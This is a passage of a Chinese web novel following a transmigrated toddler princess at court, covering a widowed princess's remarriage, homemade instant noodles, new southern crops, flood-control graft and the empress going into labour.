白晓晓歪着小脑袋回想了一下,书里的白清确实就是个炮灰命,没什么脑子,还特别喜欢跟在反派白洲屁股后头起哄,最后被利用完了就当成破抹布一样扔掉了。 对于这种人,她实在挤不出半点同情心。 也幸好他亲爹亲娘早就走在他前头了,不然这宫里岂不是又要多一位终日以泪洗面的老太妃? 这么一想,倒是省了不少麻烦。 至于那位走到大众视野里的清王妃,操作就更厉害了,她在大哭一场之后,竟然直接上书,恳请圣上为她做主——她要改嫁! 就为这事儿,今天的朝堂吵得房顶都快掀翻了。 “改嫁?自古哪有亲王王妃改嫁的道理?成何体统!”老派臣子吹胡子瞪眼。 “可是……可是据说清王他、他好男风啊!王妃嫁过去至今还是……”那位耿直的武将憋红了脸,最后四个字“完璧之身”实在没好意思吼出来。 但在场的有一个算一个,全都心领神会地“哦——”了一声。 原本有些昏昏欲睡的早朝气氛瞬间被点燃,百官们眼睛瞪得溜圆,耳朵竖得比兔子还长,生怕错过一个细节——这皇家秘辛可比枯燥的政务奏报有意思多了! 其实改嫁这事儿,只要白洵点头同意,本来也就是一句话的事。 可偏偏就有几个老古董,梗着脖子嚷嚷着什么“妇道”、“守节”,甚至提议要给人家立个贞节牌坊。 清王妃出身名门,朝中也有几位楼家的族人为官,此刻他们都觉得脸上无光,恨不得把自己缩起来,根本不想吱声。 偏偏那大嗓门又直肠子的方晏不肯放过他们,直接点名:“楼侍中,您倒是说说,您家是个什么章程啊?” 被点名的楼家官员吓得一哆嗦,众目睽睽之下,只得硬着头皮出列,毕恭毕敬地行了礼,挤出一句万能甩锅金句:“全凭圣上做主!” 心里苦啊!心里憋屈啊! 这事儿搁谁家能不头疼呢? 接回一位带着丰厚嫁妆的姑奶奶是不难,但是他们家并不太情愿。 可圣意还没揣度明白就公然拒绝,显然他们没那个胆子。 这烫手的山芋,还是赶紧、立刻、马上扔给圣上吧! 第84章 战斗晓 第八十四章 战斗晓 「喔嚯——」 「喜欢男人不是错,骗婚可就不地道了吧?」 「长得倒是人模人样的,怎么做出来的事连狗都摇头。」 白晓晓一边在心里疯狂输出,一边抬眼看向龙椅上的爹爹。 要说这事儿,在她看来压根都不算是个事儿! 前朝太妃都能风风光光改嫁,区区一个小王妃——还是白清那个小赤佬骗婚骗来的王妃,放人家自由身,那不是天经地义、理所当然的事情吗? 再说了,白清人都已经挂了,死得透透的。既然人死债消,那自然也该人亡婚约散。 是做寡妇守着空名,还是和离归家另寻良缘,横竖也没什么差别。 ……哎等等,不对! 差别可大着呢! 寡妇可是能合理继承清王府那么大一笔遗产的! 白晓晓突然回过味儿来,眼睛蓦地亮亮起来——好家伙,这位楼家女,怕不是个深藏不露的人精,看似不声不响,实则小算盘打得比谁都响。 这一步以退为进,真是妙啊! “准了。”白洵答应得干脆利落,半句废话都没有。 国库正是缺钱的时候,有人自愿送钱上门,焉能有拒绝的道理? 楼侍郎扑通一声跪地谢恩,额头结结实实磕到地上,脑子里已经开始噼里啪啦打起算盘,是趁机把女儿塞进太医院历练?还是运作一番进宫做个女官,如此一来清贵又体面…… 如今已在圣上面前过了明路,换句话说,人是圣上给送回来的,楼家也不能养一辈子吧,怎么说都能求来个锦绣前程。 他正想得美滋滋,冷不防被一个声音打断:“圣上,清王并无子嗣,如此一来香火断绝,身后凄凉,以臣之言,可从宗室中过继一贤子以延续血脉。” 发言之的人显然揣错了圣意,他还以为自己想到了别人前头,脸上是掩饰不住的得意,都准备给自己一个小机灵鬼的美名了。 他全然没察觉到,御座上的白洵眼神一寸一寸地冷了下来。 「这哪来的铁憨憨!?」 「脑仁都没指甲盖大吧?怎么从官场活到现在的?」 「死在岭南都算他命大。」 「若是等爹爹空出手来收拾他,九个脑袋都不够你掉的!」 白晓晓毫不客气地准备开怼,白眼几乎要翻到后脑勺。她如今脾气也大了,叠加了打工人的怨气加上早八学生的暴躁,邪剑仙见了都得递根烟说“姐您先请”。 她二话不说,直接开启“替父出征”模式,声音清亮如玉石相击:“哟可,真是稀奇了,清王活着的时候都没操心自己的香火,你倒急哄哄替他张罗上了?这么热心肠,不如把你自家儿子过继给他得了?” 提议的人瞬间哑了火,一张脸憋得通红,像是被掐住了脖子的大公鸡。 他儿子才三岁,又是家里的独苗,就算是皇亲国戚,也不能舍得送去当嗣子啊! “这、这……这于礼不合啊!”他支支吾吾半天,汗如雨下,只能挤出这么一句苍白的反驳。 白晓晓可不吃这套,小嘴一撇,声音清脆又扎心:“说白了吧,你就是舍不得。” 轻飘飘七个字,没什么华丽辞藻,却像一把小刀,精准戳破了对方那点虚伪又算计的小心思。 那大臣顿时面红耳赤,感觉满朝文武的目光都像针一样扎在自己身上,他干脆“噗通”一声跪倒在地,扯着嗓子喊:“圣上!公主殿下如此咄咄逼人,扰乱朝堂秩序,臣、臣恳请圣上为臣做主啊!” 这一出惊天地泣鬼神的恶人先告状,不仅白晓晓看呆了,文武百官也集体傻眼。 好家伙,跟一个小孩子争论不过,居然还有脸哭唧唧地找圣上告状?这位大人的脸皮怕是比京城的城墙还厚吧! 「哪来的封建老狗腿!说不过就开始撒泼打滚?」 「翻来覆去就会一句于礼不合,有能耐倒是换换新词儿啊!」 「我去你祖宗个爪!」 白晓晓被哭嚎声吵得头大,她天天凌晨四点就被拎起来上朝旁听,下午还要苦哈哈地上三个时辰的课程,等吃过了晚膳还得点灯熬油地写作业,最近小脸都瘦了一圈了。 睡眠严重不足的打工人怨气比鬼都重,现在还要被这种胡搅蛮缠的人欺负,她简直想直接下场来上一jio——本公主不干了,这破班谁爱上谁上! 御座上的白洵倒是轻轻笑出了声,眼见话题被女儿成功带歪,他也乐得轻松,过继是不可能的,香火也是别想要的,替一个不重要的死人折腾个什么劲儿呢? 纯属多费口舌、浪费时间! 他淡淡开口,声音里带着不容置疑的威严:“公主之意,便是朕意。” 八个字,落地如金石,一锤定音。 他的意思再明白不过:这事儿,我闺女说了算,都听她的。 文武百官顿时集体缩了缩脖子,恨不得把存在感降到最低。那个原本还在干嚎的大臣也像被掐住了脖子,瞬间没了声息,只剩额头冷汗涔涔。 这一仗,白晓晓大获全胜,一战成名。 从此,圣上爱妻护女不再是一句空话,成了满朝皆知的传说。 散朝后,几个官员一边往外走,一边低声嘀咕。有个摸不清状况的愣头青忧心忡忡地问同僚:“圣上今日如此抬举公主,将来……若是有小皇子出世,可该如何是好?” 他倒不是对公主有意见,只是这世道,继承大统的终究还是皇子。 圣上现在把公主捧得这么高,将来岂不是让她处境更艰难?这到底是宠爱,还是坑娃啊? 旁边的同僚听得直翻白眼,恨不得敲开他的脑袋看看里面是不是全是浆糊,天家的事,是你能操心、我能议论的吗? 他一把将愣头青扯到朱红宫墙没人的角落,压低声音,没好气地回了一句:“知道前朝的武太妃为什么能无病无灾活到九十多岁,儿孙满堂尽享天伦吗?” 愣头青茫然摇头:“为什么?” 同僚一字一顿:“因为她从、来、不、管、闲、事!” 第85章 方便面 第八十五章 方便面 白晓晓闷声踢着路边的石子,一颗小石子被她踢得老远,撞在朱红宫墙根下,发出清脆的一声响。 回笼觉也不是日日都能睡得香的,等会儿吃完饭又是三节课,老师的算盘珠子打得哗啦啦响,就她慢得像蜗牛爬。 「诶呀,人家是文科生啦。」 「没有数学天分也不是我的错。」 「生活会欺骗你,但是数学不会,因为数学不会就是真的不会~」 白洵站在不远处,听着女儿那碎碎念的动静,唇角不自觉地扬了起来,会不会的其实没那么重要,说不准哪天就突然开窍了。 他心情不错,确实和白清的死有关。 白清手里的钱有多少他不知道,但能肯定的是绝对不穷,当然,没有人会比他更穷了! 如今能借着清点西南资产的机会,既绝了白清那微乎其微却不得不防的异心,又省下了一大笔开支和心力,简直是一举两得。 他脸上浮起一抹难得一见的轻松笑意,至于什么香火不香火、愧不愧疚的……他压根没往心里去。 当年害他的人之中,白清也瞎掺和来着,如今能让他安安生生入土,已经算是仁至义尽了。 “爹爹,派谁去西南啊?”白晓晓终于停下踢石子的动作,仰起稚嫩的小脸问道。 她心里明镜似的,这趟去西南可不光是清点财产、登记造册那么简单,西南地广人稀、势力错综复杂,既要平稳接手白清的势力,又要探查当地民生情况,最好是能有机会找到那座金山的位置。 谁说治大国如烹小鲜?她在心里轻轻哼了一声。 「煮个白灼虾有什么难!」 「治理国家要这么简单,还说什么风凉话?」 「一个个都站着说话不腰疼!」 像西南那样的边陲重地,一步走错,满盘皆输,其中的凶险可想而知。 “让你小舅舅去。”白洵沉吟片刻,说出了心里最合适的人选。 诚如闺女心里想的那样,最好能找到那座金山,如果运气好的话。 这人选他思量良久——既要绝对可信,又要胆大心细。方晏和时谨不能离京,唯有陈再衍,是自家妻弟,忠心不二,能力也够。 白晓晓一听,眼睛顿时更亮了,连忙扯住爹爹的衣袖:“那我能不能也去?” 谁不想去西南逛一圈啊!听说那儿遍地水果,树上随手一摘不是椰子就是榴莲,甜得像蜜。 更何况,这次去可是要去找金山的诶! 白洵低头看着还不到自己腰间的女儿,忍不住笑了:“你学会骑马了?” 白晓晓顿时哑然,她现在的身高,确实还没有马尾巴高。 「这不是明摆着欺负小孩么!」 「再次吃了年龄的亏!」 她张了张嘴,想说自己可以坐马车,但看着爹爹似笑非笑的表情,又把话咽了回去。 山高路远的,万一自己这小身板吃不消,后果可不是小舅舅能承担的。 白洵摸摸她的头,语气缓和了些:“等你再长大些,爹爹一定带你去看看天下大好河山。” 白晓晓撇撇嘴,画饼,这显然是在画大饼! 她悻悻地扭头就去找娘亲,一进殿门,就看见陈兮芮正坐在窗边,手中的银针上下翻飞,光影流转间,一双厚实的鞋垫已初见雏形。 “西南地区多雨,山路泥泞不堪,得多给他备几双鞋垫才踏实。”娘亲没抬头,声音却温柔得像四月春风,只是里头裹着一丝化不开的担忧,“还听说那边蚊虫凶得很,一会儿得去太医院寻些驱虫的草药,给他缝进香囊里。” 「弟行千里姐担忧……这话可真是一点不假。」 「那我呢?我能给小舅舅准备点什么呀?」 白晓晓一屁股坐在旁边的绣墩上,小手拄着下巴,眉头皱得紧紧的。琢磨了半天,她忽然眼睛一亮,猛地跳了起来——最适合长途跋涉的干粮,不就是方便面嘛! 一路骑马颠簸,风餐露宿的,哪能次次都生火做饭?要是能有碗热水一冲就能吃的热面条,该多好! 这个念头一旦生出,就再也按捺不住,白晓晓转身就往御膳房跑,裙角生风,脚步快得差点左脚绊了右脚。 她连说带比划,描述着一种"用开水一泡就能吃的面条",还要配上各种味道的汤料包,给几位大师傅听得一愣一愣的,都是十几二十余年的老厨子了,从未听过如此稀奇的想法。 “这面条要能长期保存,还得开水一泡就软……” “可以先蒸熟再炸!”白晓晓想起各种方便面的知识,兴奋地拍手,“这样面条就会有很多小孔,容易吸水变软!” 说干就干,她 干脆搬来个小凳子坐在厨房里,看着御厨们试验。 第一锅面条蒸得太过,炸出来硬邦邦的;第二锅火候不足,泡了水还是夹生。直到第三锅,终于做出了理想的口感:面条金黄酥脆,用开水一冲,不过片刻就变得柔软可口。 “汤料!还要有汤料!”白晓晓最喜欢的是番茄和小鸡炖蘑菇口味,也可以 加一些虾米瑶柱磨粉,至于 骨汤就不行了,没有防腐剂的话,已经入夏时节,只怕会吃坏了肚子。 但这还不够,她又想起更厉害的东西——自热火锅! 这是她出远门最馋的两样东西,平时也未必多爱吃,但是在路上就会变得非常美味,也是奇了怪了。 等她找来生石灰忙活了好一阵,才突然反应过来:“对哦!出门都会带火折子的呀,随便捡点柴就能烧水煮饭了啊……我这不是多此一举嘛!哈哈!” 她挠着头,把自己逗得咯咯直笑,傻乎乎的。 * 几日后,晨光熹微,东方泛出鱼肚白,不等皇城镀上金光,陈再衍翻身上了一匹枣红色的高头大马,身后跟着一支精干的队伍。 宫里送来的一大包行囊格外显眼,除了阿姐缝制的鞋垫,还多了小外甥女琢磨出来的方便面。 他回头望了一眼巍峨的宫门,一拉缰绳,迎着晨曦,踏上了前往西南的漫漫长路。 第86章 大丰收 第八十六章 大丰收 七月的京城,热得像个巨大的蒸笼,连树上的知了都有气无力。 白晓晓正对着满纸“之乎者也”皱眉头,忽听外头一阵热闹,她强忍着好奇心,终于等来了下课。 景铭带着车马风尘仆仆地回京,一干人等正忙着卸货,内侍们手脚利落地接过竹筐分类归纳,忙作一团。 而人群中最显眼的,就是那两个站在树荫下交谈的身影,白晓晓不看她爹,目光直接看向景铭。 多日不见,景小郎君简直像换了个人,原本白皙清俊的脸,被南方的烈日镀上了一层健康的麦色,人瘦了些,却更显精神。 尤其那双眼睛,亮得像是盛满了阳光,一看就是经历过风浪、办过实事的模样。 “果然,劳动最改造人。”白晓晓一边小声嘀咕,一边忍不住好奇,溜达到那堆成小山的竹筐旁边。 还没走近,一股咸腥的海风味道就扑面而来——好家伙,整整一筐鱼干!大的比她整个人还长,一看就是是炖汤的极品,一想到鲜掉眉毛的鱼汤,她的小脸瞬间挂上了笑容。 旁边几个筐里则是各色果干:芒果干、菠萝干、龙眼干……她顺手抓了一小把,挨个塞进嘴里嚼嚼嚼,两腮圆鼓鼓的。 虽然不如她记忆中的现代零食品种那么甜,但果肉厚实,一看就是天然晒成,要是裹上层糖霜,绝对酸甜开胃。 “好想吃芒果双皮奶啊……”她咽了咽口水,内心哀嚎。 穿越最大的痛苦莫过于,空有一颗吃货的心,却没有复刻美食的手。 也不知道景铭去的南方到底是哪边,是东南沿海,还是东南亚呢? 这个世界和她穿来的世界完全不同,西北都能接壤欧洲,那么南边的格局想来也是十分不同的,她好奇得紧,恨不能亲自去走一遭。 正眼巴巴望着,她忽然眼前一亮——有个筐子里居然闪着温润的光泽!她小跑过去,伸手一捞,竟是一把握不住的珍珠! 大小不一,颜色从纯白到浅粉,在阳光下泛着柔和的光。虽然她分不清淡水海水,但好不好看还是懂的! 旁边还有好些瓶瓶罐罐,装的是各式鱼酱虾酱;几筐种子包得整整齐齐,标注着名字,可惜她还不认得这些字,努力猜了半天,也没见到哪个和辣椒比较像。 有没有可能,东西还是那些东西,只是换了个名儿? 她姑且搁置,不去费那个心思,等种出来就能揭晓了。 最吸引她注意的,是单独放在一旁的几筐“土疙瘩”,之前景铭带回来的土豆已经大获成功,蒸煮烤炸样样好吃,这又是什么新宝贝? 它们长得实在不怎么起眼,一个个表皮粗糙、形状也不规则,连个头都只有她拳头那么大,看起来赖赖巴巴,不像是她见过的东西。 “回公主,这是白番薯。”搬货的侍卫见她好奇,恭敬地回答。 白晓晓恍然大悟,原来是白薯! 它跟红薯、紫薯是亲戚,只是在颜色、口感、甜度上略有不同,但饱腹感强,产量又高——放在这个时代,简直就是粮食界英雄! 就是……个头小了点,长得丑了点。 “景大人说,带回来再选种培育,能长得更大。”侍卫耐心地补充道。 这时,景铭和白洵也边说边走了过来,她听见景铭清朗的声音:“……这些作物若经嫁接选育,定能产出更优品种,南方种植方法与北方大不相同,若能取长补短,产量还可大增……” 「这人怕不是个天生的木灵根吧?」 「怎么下趟南方回来,说起种地头头是道!」 「真是人不可貌相,到了一定年龄自动觉醒了种地天赋!」 白洵闻言,悄悄瞥了女儿一眼,心道什么乱七八糟的。 也难得魏二日日对着她弹琴,交流居然没什么障碍,也是真的不容易,但是涨工资就免谈了。 不过此刻这都不重要,他的注意力全在景铭带来的新作物上。 “你说这些……能增产?”白洵拿起一个白薯,眼中闪着精光。之前的土豆已经证明了实力,若再来一种高产作物,能多喂饱多少百姓! 景铭郑重点头,也拿起一个其貌不扬的白薯:“别小看它。在滇南一带,种得好的,一亩能收千余斤。” “千余斤?!”白洵眼珠子快瞪了出来,土豆已是天赐之粮,没想到又来一个! 他心脏砰砰跳着,若不是碍于天子颜面,下一刻恨不能拉上景铭的手。 这可真是天大的好消息啊! “它还不挑地,沙土、山地都能长,耐旱能力特别强。”景铭继续补充,“只是目前品种还不稳定,产量优势还没发挥出来,若是能好好培育一番,必是我朝丰衣足食的宝贝。” 白晓晓在一旁听得心花怒放。虽然她个人觉得白薯口感一般,不如红薯甜糯,但这可是活人无数的好东西! 她忍不住高兴地绕着筐子转圈,嘴里哼起不着调的歌:“猪啊羊啊都到碗里来呀~” 白洵看着女儿欢脱的模样,无奈摇头,眼里却全是宠溺。 他再看向景铭时,眼神都不一样了——能识作物、善耕种,这怎么不算是一种“灵根”呢? 他悄悄抿了抿嘴,不禁幻想:那自己呢?会不会有点石成金的天赋?要是真能,治河修堤的银子不就有着落了? 想到这里,他下意识摸了摸腰间的玉佩,随即失笑——真是被这丫头带偏了,怎么也开始想这些没边儿的事了。 “暴殄天物啊!” 白洵闻声看过去,正是他闺女痛心疾首地围着一个竹筐转悠,那声音哀痛可比大早晨去上课更甚。 他凑过去,皱了皱眉头,颇有不解:“这是什么东西,刺猬成精了?” 景铭忙解释:“南人叫它臭莲子,闻着臭吃着甜,我想着京城不曾见过,便带回来两个。” 可惜路途遥远,又是最热的时候,明明出发时还是新鲜的,每每行进三五日,便能臭得人无法靠近。 他们愣是被这东西耽搁了十来日的时间,最后索性带了两个未成熟的果子上路,只是果实已经干净发黑,早已不能食用。 白晓晓撇嘴,又不死心地拍了拍榴莲硬邦邦的外壳:“可惜了诶……” 第87章 小珍珠 第八十七章 小珍珠 夏天就跟娃娃的脸似的,说变就变,刚才还晴空万里,转眼间乌云压顶,远处传来隆隆雷声。 “又是一场大暴雨呀。”白晓晓蹲在廊檐底下,两只手托腮,嘴里嘀咕着。 「下这么大雨,魏老师进宫的路肯定被堵个正着!」 「今天下午的那节武课,十有八九得泡汤!」 雨也是不经念叨,豆大的雨点噼里啪啦砸下来,在青石板上溅起一朵朵透明的小水花。 陈兮芮从里屋走出来,瞧见这倾盆而下的雨势,连忙将女儿喊进屋。 母女俩挨着窗边坐下,把玩起景铭前些日子带回来的珍珠,一颗颗圆润可爱,泛着莹白或浅粉的光泽。 “明天就磨成珍珠粉给你敷脸用。”陈兮芮挑出一些稍小的拣到小托盘里,“魏二也是,非得挑日头最毒的时候让你扎马步。” 她倒没有多少对魏二的不满,练体强身是好事,纯粹是当娘的心疼,这么热的天,万一中了暑气可怎么好? 再说一个小姑娘家,要是晒得跟个黑猴儿似的,确实也不好看。 按理说,白晓晓这年纪还没到爱美的时候,奈何她内里是个老芯子,早就有了自己的一套审美标准——不追求什么白幼瘦,但黑胖黑胖的,绝不可以! 白晓晓捏起珍珠:“这么好看的珠子磨粉多可惜呀?” 陈兮芮轻笑:“傻孩子,这些珍珠个头都小,做成首饰反而显得小家子气。” 白晓晓一下子没绕过弯来,顺着话茬就问:“那怎么不叫他们送些又大又圆的来?” 在她看过的电视剧里,皇宫用的该是天底下顶好的东西,可真在这宫里头待久了,她才发现,完全不是那么回事。 「拳头大的夜明珠?压根没见过!」 「全是这种小不点儿,小卡拉米~」 “匹夫无罪,怀璧其罪。”陈兮芮先是微微一怔,随即了然,“若是这次献上来又大又圆的极品,那往后,年年进贡的标准就都被抬上去了。一旦成了惯例,以后送来的珍珠但凡小一点,都会被问罪,那就是祸事了。” 如果进贡的标准被无限拔高,最终受苦的,还是那些冒着生命危险、辛辛苦苦下海采珠的百姓。 如果可以,他们恐怕宁愿从未采到过那些稀世宝珠,只求平安度日。 白晓晓手上的动作忽然停住了。她看着手里那些温润的小珠子,忽然觉得它们沉甸甸的。 这不再是简单的公平交易,每一颗微光闪烁的珍珠背后,可能都藏着不为人知的艰辛与风险。 不知不觉间,窗外的暴雨早已停歇,乌云散开,天色重新亮了起来。 一场夏雨,来得迅猛,去得也干脆。 白洵一只脚刚踏进屋里,就听见母女俩关于珍珠的对话。他那原本紧锁的眉头,忽然间就舒展开来。 “我明白了!一定是这样!”他猛地一拍手,转身就往外走。 白晓晓光着脚丫跳下地,才喊了声“爹爹”,那个背影已经迅速消失在廊下。 追了两步没追上,她一脸懵地转回身:“娘亲,爹爹明白什么啦?” 陈兮芮也无奈地摇摇头:“谁知道呢?神神秘秘的,这葫芦里卖的药,怕是连他自己刚才还糊涂着!“ 原来,眼下最让白洵头疼的,就是京城边上的永沐河。 这条母亲河灌溉了良田,却也脾气暴躁,夏季汛期一到,每隔三五年就要发一次大水,今年正好是第四年,河堤情况岌岌可危。 最近天色阴晴不定,万一来一场连续暴雨,河水决堤、良田被淹、百姓流离失所……那景象他连想都不敢想。 治理河道是年年拨款、年年修,却总不见根本好转,就像个填不满的无底洞,白洵为此愁得几天没睡好。 可刚才,他无意间听到妻子女儿说起”若献上大珠,反成采珠人之祸“的一番话,脑子里像突然划过一道闪电—— 如果河道年年治不好,那岂不是年年都有一大笔银子拨下去?某些人岂不是年年都能从中捞一笔固定收入? 想通这一节,白洵气得拳头都硬了。就在这时,内侍前来禀报:”圣上,太傅到了。“ 白洵压下火气,快步走向御书房,半路正好看见被大雨耽搁、刚刚进宫的魏泓邑。 他寻思着,这魏二常年游山玩水,见多识广,说不定对治水能有点别出心裁的见解?当即把他也一块儿叫上了。 ”三个诸葛亮,还拿不下一条永沐河?“白洵暗自打气。 果然,魏泓邑一开口就令他刮目相看:“河道治理核心在于泥沙。譬如上游植树固土,可减泥沙来源,然远水难救近火……”他言辞简洁,却句句切中要害。 白晓晓就是这时候掀帘溜进来的。听说老师被爹爹“劫”走了,她立刻嗅到了热闹的气息,丢下娘亲就跑了过来。 她毫不客气地挨着爹爹坐在榻沿上,竖起耳朵听起来。 「治河?这题没超纲!」 「一段一段修可不行,得全流域统筹!」 「绿水青山就是金山银山~」 白洵越听越觉得有谱,一方面对魏二暗暗称赞,另一方面越看闺女越得意。果然是他的小福星,总是在他最需要的时候带来灵感。 老父亲内心感动,仿佛已经看到未来省下的大笔银钱在向他招手…… 几人商议许久,终于初步拟定了一个方案,治水的差事,破格交给了魏泓邑,并由安远伯府从旁协助。 白身布衣也没关系,手握圣旨谁敢不从?只要办好这件大事,何愁没有官职? 魏二无奈一笑,他本无心官场,但若能借此让家族扬眉吐气,换来一点不被催婚的清静,那倒也很值得。 事情吩咐下去,白洵揉了揉发胀的眉心,深深感到一种疲惫——朝中可用之人实在太少,各自揣着小算盘的人又太多。 “哎——” 一直安静旁听的白晓晓忽然凑过来:“爹爹,赶紧开科举选能人吧!得多挑些肯干实事的人进来。” 「不然这么大个王朝,累死你也忙不完啊!」 「我可不想小小年纪没了爹,娘亲也不能没了夫君!」 「呸呸呸,童言无忌!爹爹必须长命百岁!」 白洵惊讶地看向女儿:“你倒是和太傅想到一块去了,他方才也提议今秋重启恩科。” 父女俩对视一眼,沉默片刻,忽然异口同声地长叹: “这活儿真不是人干的!” 说完两人都愣住了,随即忍不住同时大笑起来。 白洵一边笑一边摇头,糟糕,被闺女给传染了! 第88章 楼家女 第八十八章 楼家女 土豆的丰收来得比预想中更加顺利,虽然还没有达到景铭所说的亩产千斤那般夸张,但因着北方得天独厚的优势,田里的土豆个个结实饱满,挖出来堆成小山,看得人心里踏实又暖和。 几乎在同一时间,白沥从东北寄来了书信,那边的进展也相当乐观。 信上说,起初有几个周边小国态度倨傲,对开通贸易之路颇为抵触,他也没有多废话,直接调出圣上给的杀手锏,当着使臣的面,一炮轰平了半片荒山。 炮声过后,再无人多言,个个变得恭顺谦卑、有商有量。 真理只在大炮的射程之内,真是至理名言啊。 于是,边贸集市便顺顺当当地办起来了,如今每十日一集,用我们的粮食、布匹、绸缎,去换他们的骏马、牛羊、奶酪、人参,还有晒得干干的海带。 人来货往,热闹非凡,渐渐已成北地一景。 至于作物品质改良的事,眼下还没有新的消息,白洵读罢信,笑着提笔回复:“正好把新收的土豆和白薯给你运去一批,说不定在你们那儿长得更肥。”写至末尾,又添上一句,“另,太医院已研究出预防天花之法,不必忧心。” 一旁的白晓晓听得摇头晃脑,小小的脑瓜子转得明白着呢,一脸“我懂我全都懂”的小表情——这不就是吊在驴鼻子前头的那根胡萝卜嘛! “我二叔就是那头驴。”她捂嘴偷笑,自以为声音轻得像蚊子哼,却一字不落飘进了陈兮芮的耳朵里。 “你二叔可比驴能吃多了。”陈兮芮脱口而出,话音落地才反应过来自己说了什么,立刻捂嘴,眼睛弯弯地假装不是她说的。 白洵强忍笑意,心道这丫头古灵精怪,连芮娘也被带歪了,果然不是一家人,不进一家门,一家子说话都越来越有“刀光剑影”那味儿了! 陈兮芮如今身子越发重了,胎动也逐渐明显。 不过肚子里的小家伙动得不凶,唯独在白晓晓放声唱歌时,才突然轻轻拱两下,像是在无声地抗议。 夫妻俩私下调侃:“怕是嫌难听,在里头捂耳朵呢。” 当然白晓晓坚决反对这种污蔑:“胡说!弟弟一定是喜欢我的歌声,在为我喝彩呢!” (此时肚子温柔地顶起一个小拳头形状,仿佛在说:求放过……) 因着陈兮芮临盆在即,楼家又不安分地蹦跶了几回,话里话外都想把前清那位王妃送进宫来伺候圣上。 白洵脸色沉得能拧出水,却偏要装作听不懂人话,一声不吭。 还是闺女贴心,小嘴一张当场怼回去:“管好你自己!” 其实白洵本打算自己唱白脸,让闺女装个乖唱红脸。 奈何父女俩一个脾气,嘴上都不饶人,谁也不想当那个“好人”。 怼人多爽啊!干什么要憋着? 白洵一边无奈,一边又有点担心,这丫头将来要是太彪悍,女婿的日子可怎么过? 可转念一想,怕什么? 晓晓这性子,横竖都是他惯出来的。 若有人不服,冲他来便是! 因为楼家那些不长眼的事儿,白晓晓对楼瑶瑶——也就是刚刚跟清王和离的那位前王妃,本来意见挺大。 虽然说她也是被牵连的,可谁让她摊上那么个不识好歹的爹呢?! 楼瑶瑶回京城之后,第一件事就是进宫拜见皇后娘娘。 说来白晓晓对她其实印象不深,书里提到她的地方也不多,大概是因为被清王连累,只落得一句“命苦”的评价。 是敌是友还说不准,再加上娘亲现在正怀着身孕,是最需要小心的时候,白晓晓干脆向魏老师告了假,寸步不离地守在娘亲身边,也想趁机摸摸楼瑶瑶的底。 乍一看,她是个弱柳扶风型的美人儿,可才半刻钟不到,白晓晓就皱起了眉头。 怎么会有人…这么能哭! 楼瑶瑶说着说着话便掉起了泪珠子:“是我福薄,被指婚给那样一个人,全因皇上和娘娘宽厚仁慈,我才斗胆求来了和离……” 她家里那点事,白晓晓也多少知道些,楼家说好不好,说坏也不全坏——他们确实肯花心思培养女儿,请名师、重教养,指望她们将来能光耀门楣。可同时也太功利,女儿一旦出嫁,是苦是甜他们就基本不管了。 放在现代,女孩子多少还有能力和机会为自己拼一把。 可在这吃人的封建社会,能有几个女子敢勇敢地和离? 「唉,说到底,也是被家族摆布的命运。」 「好像……也不能全怪她。」 白晓晓对楼瑶瑶有些 改观了,虽然她还是哭个不停,但也许有些人就是可以既软弱又坚强吧。 “我这辈子也就勇敢了这么一回,幸好遇上皇上和娘娘这样心善的人……”她一边抹眼泪,一边瞥见旁边安安静静盯着她看的小公主,又小声补了一句,“也多谢公主出手相助……” 陈兮芮被她哭得有点头大,语气却依然温和又带着鼓励:“以后,你会变得更勇敢的。” 这句话轻却有力,楼瑶瑶的眼泪顿时掉得更凶了。 她原本都打算青灯古佛了此残生,但现在,好像还可以再相信自已一次。 “我记得你书画方面尤其出色,有没有兴趣进翰林院?宫里正需要这样的人才,无论是绘制肖像、记录宫廷大事,还是装饰殿宇,都很值得一试。” 陈兮芮没问她“日后有何打算”,知道她从小被家里打压惯了,根本没什么主意,要是真放回楼家,恐怕又得被推进火坑。 她可没忘记选拔女官的事——人都在眼前了,哪有放走的道理? “我、我真的可以吗?”楼瑶瑶说得没什么底气。 这种自卑,很大程度上也来自于家庭常年以来的打击。 白晓晓暗自心想,要是自己也在那种重男轻女、只会贬低女儿的环境里长大,未必能比她做得更好。 看着皇后娘娘微笑鼓励的眼神,和小公主在一旁握着小拳头,为她加油鼓气的模样,楼瑶瑶忽然觉得未来好像透进了一束光。 “我一定努力,我一定可以!”她郑重地说道。 第89章 小皇子 第八十九章 小皇子 白晓晓只告了一天的假,可魏老师这一走,竟是足足半个月没露面。 原来,他是跟着安远伯府的人一起跑去了京郊视察河道,不查不要紧,这一查,问题可真不老少。 当官这事儿全凭良心,可之前负责治水的那位,简直不配为人! 堤坝做得是表面光鲜,里头填的竟全是碎石和土块,这样的工程,哪有什么防洪抗险的能力? 要不是圣上及时派人盯着,万一赶上连下几天大雨,今年非出大灾不可。 收到回信,白洵气得一阵手抖——这真是老百姓福大命大,若前几年闹起水患,恐怕国运就断在这儿了。 不得不说,魏二确实有真本事,就是有点对不住他闺女。 前两日,闺女还跑来问:“爹爹,我什么时候复课呀?” 老父亲除了尴尬地笑笑,也给不出一个明确的回复。 他也没办法啊,眼下朝堂实在缺人啊! 不缺贪官,不缺欺压百姓的,也不缺作威作福的,偏偏能做实事的,一只手数得过来。 一想到这儿,他就头疼。 得再劝退一帮占着位置不办事的老的,等科举选拔出新人才,赶紧给他们腾地方。 真正忙的人忙得脚不沾地,而像白晓晓这样的闲人,只要不主动作妖,就能安享清闲。 其实她压根也不想上课,她可没忘记自己的人生终极目标——躺平。 能躺着绝不坐着,能坐着绝不站着,如果能多睡一会儿,谁要去扎马步啊? 每次练完两条小腿抖得像筛糠,上厕所都得扶着吉祥才能蹲得下去。 她跑去问爹爹也就是探探口风,让自己心里有个底。 毕竟老师人虽不在,“暑假作业”可是留得一点都不少! 「真是没谁了。」 「毕业这么多年依然为暑假作业而犯愁。」 「万一挨训也挺丢人的。」 「不仅丢自己的脸,更丢爹娘的脸。」 「要是传出去,里子面子可一点都没了。」 才满两岁的娃坚持“躺一天是一天”的宗旨,不到最后一刻坚决不写暑假作业。 白晓晓此时正悠闲地翘着小脚丫,一块接一块地往嘴里送着点心。 她一会儿望望天边的流云,一会儿瞅瞅池塘里摆尾的锦鲤,小脸上尽是满足,这样无忧无虑的日子可不多,能享受一刻,就得好好珍惜一刻。 可没悠闲多久,就听见身后传来一阵急促的脚步声。 宫女和内侍们小跑着穿梭在廊下,神色间透着她从未见过的紧张。 白晓晓下意识地觉得不对劲,吉祥忙拉住一个宫女询问。 “皇后娘娘要生了!”那宫女匆匆丢下一句,就急着赶去准备热水,脚步快得几乎要飞起来。 